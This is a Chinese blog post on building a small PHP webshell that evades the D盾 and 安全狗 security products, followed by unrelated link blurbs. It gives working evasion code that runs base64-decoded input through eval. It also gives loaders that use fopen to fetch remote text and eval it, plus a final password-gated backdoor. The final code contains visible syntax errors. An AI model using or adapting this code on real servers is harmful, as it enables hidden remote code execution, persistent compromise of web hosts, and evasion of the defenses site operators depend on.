打造一款1kb大马并且处理D盾以及安全狗拦截与查杀
在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。可是发现怎么也过不去查杀,更别说拦截了。对此无奈,只好花了个通宵去处理一下。顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。
Prat 1 目录
一:base64编码,处理eval函数进行绕过(失败)
二:巧妙利用fopen函数绕过waf
三:fopen函数处理eval拦截问题
四:对此次一次总结
Prat 2
起源base64编码,处理eval函数进行绕过(失败)
之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
于是决定开端先处理一下eval看看能不能进行绕过

eval直接执行base64解码
可以成功执行,但是被D盾报4级,这样肯定是不行的

base64编码思路宣告失败
发现D盾似乎对base64_decode()函数独有情钟- -#
不管怎么处理只能处理到二级,安全狗倒是已经过去了

<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

Prat 3 失落
巧妙利用fopen函数绕过waf
发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
不过失败是成功他亲爹,只好继续想新思路。
之前写过一篇水文,叫做隐藏在黑页下的大马。
不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
首先我们来看一下fopen函数
fopen() //fopen()函数打开文件或者 URL。
思路
通过fopen打开远程url的txt文件存入一个变量中,在执行。
说干就干,首先把一份大马去掉<?以及?>
然后存入一个txt中,确保打开的时候能打开。
可能这里就有人问了,txt放哪里?
这里我只想说,心里没点B数?
举个例子:
<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
echo $content1;
fclose($handle1);
?>

发现已经获取成功了,那么我们只需要eval执行一下就可以了
<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
eval($content1);
fclose($handle1);
?>

首先看一下安全狗是否拦截
大马地址:http://192.168.1.110/bh/test.txt
webshell地址:192.168.1.104/test/php.php

ok,可以看见安全狗以及绕过了,并且可以正常使用
补一张没做过处理大马访问图

不过问题来了,D盾报一级拦截,我顿时想说mmp。

之前处理一句话的时候,也是经常报我一级- -#
继续抽了支烟,然后继续处理这个错误
Prat 4 希望
fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。

贴一下最后成品代码
<?php
error_reporting(E_ERROR);
if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
if($_POST[$_GET['test'] == "test"){
$handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
print(eval($a1=$content1));
fclose($handle1);
}
$handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content = '';
while(false != ($a = fread($handle, 8080))){
$content .= $a;
}
print(eval($a=$content));
fclose($handle);
}
?>
一句话地址:http://127.0.0.1/bh/test2.txt
webshell地址:http://127.0.0.1/bh/test.txt

说一下代码
if(isset($_GET['submit']) && $_GET['pass'] == "admin")
这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个
if($_POST[$_GET['test'] == "test")
这一部分是用来进入一句话的,当然你也可以删掉
再来说说处理eval一级,其实很简单,我也是bypass小分队的老司机说了才知道的~~~
eval($a1=$content1);
看这一行代码,相信大家就已经知道了。
Prat 5 总结
前人失效的思路不代表着没有继续扩展的意义。
多想多做多实战,发现其实waf也就那回事。
无非就是在原有的基础上加了几行代码。
打造一款1kb大马并且处理D盾以及安全狗拦截与查杀的更多相关文章
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)
“很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)
上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...
- 打造一款属于自己的web服务器——开篇
JVM总结慢慢来吧,先插播一篇水文,来介绍下最近业余一直在写的一个小项目——easy-httpserver(github).适合新手学习,大神们路过即可^_^. 一.这是个什么玩意? easy-htt ...
- 如何打造一款五星级的 APP ?
移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...
- jquery+css3打造一款ajax分页插件
原文:[原创]jquery+css3打造一款ajax分页插件 最近公司的项目将好多分页改成了ajax的前台分页以前写的分页插件就不好用了,遂重写一个 支持IE6+,但没有动画效果如果没有硬需求,个人认 ...
- Notepad++给自己打造一款PowerQuery M语言编辑器【转】
Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器 Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器-Power BI-ExcelHo ...
- 基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table
基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table https://segmentfault.com/a/1190000015970367
- 使用Python打造一款间谍程序
知识点 这次我们使用python来打造一款间谍程序 程序中会用到许多知识点,大致分为四块 win32API 此处可以在MSDN上查看 Python基础重点在cpytes库的使用,使用方法请点击此处 ...
- 打造一款 刷Java 知识的小程序(二)
学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...
随机推荐
- Go语言的基本类型转换-golang类型转换
简单整理一下Golang的基本类型转换,作为备忘: 1.整形到字符串: var i int = 1 var s string 3. s = strconv.Itoa(i) 或者 s = Format ...
- 高性能Web服务器Nginx的配置与部署研究(8)核心模块之事件模块
一.事件模块的作用是什么? 用来设置Nginx处理链接请求. 二.相关指令 1. accept_mutex 含义:设置是否使用连接互斥锁进行顺序的accept()系统调用. 语法:accept_mut ...
- ubuntu Qt5 librealsense opencv
08:11:47: 进程"/usr/bin/make"正常退出. 08:11:47: 配置没有改变, 跳过 qmake 步骤. 08:11:47: 正在启动 "/usr/ ...
- 钉钉开发笔记(六)使用Google浏览器做真机页面调试
注: 参考文献:https://developers.google.com/web/ 部分字段为翻译文献,水平有限,如有错误敬请指正 步骤1: 从Windows,Mac或Linux计算机远程调试And ...
- STL中 map 和 multimap
1. 所在头文件<map>. 命名空间std, 声明如下: namespace std{ template <class Key,class T, class Compare = l ...
- pagespeed模块安装——Nginx、Tengine
1.安装好nginx或者tengine 2.下载pagespeed模块并且解压 sudo mkdir -p /usr/local/tengine/modules wget https://github ...
- java 集合综述(总结于多位博友)
http://www.cnblogs.com/shunran/p/3459065.html(good) java集合类主要负责保存.盛装其他数据,因此集合类也称容器类. java集合类分为:set.l ...
- 敏捷开发之XP
敏捷方法论有一个共同的特点,那就是都将矛头指向了“文档”,它们认为传统的软件工程方法文档量太“重”了,称为“重量级”方法,而相应的敏捷方法则是“轻量级”方法.正是因为“轻量级”感觉没有什么力量,不但不 ...
- 视频分析(MATLAB)——MV分镜头图像分类
引言:一个MV视频是有很多帧图像组合而成的,而一支MV是有多少个分镜头场景组合而成的呢?由MATLAB如何自动实现? 以<Love You Like A Love Song>的MV为例(这 ...
- 利用APT实现Android编译时注解
摘要: 一.APT概述 我们在前面的java注解详解一文中已经讲过,可以在运行时利用反射机制运行处理注解.其实,我们还可以在编译时处理注解,这就是不得不说官方为我们提供的注解处理工具APT (Anno ...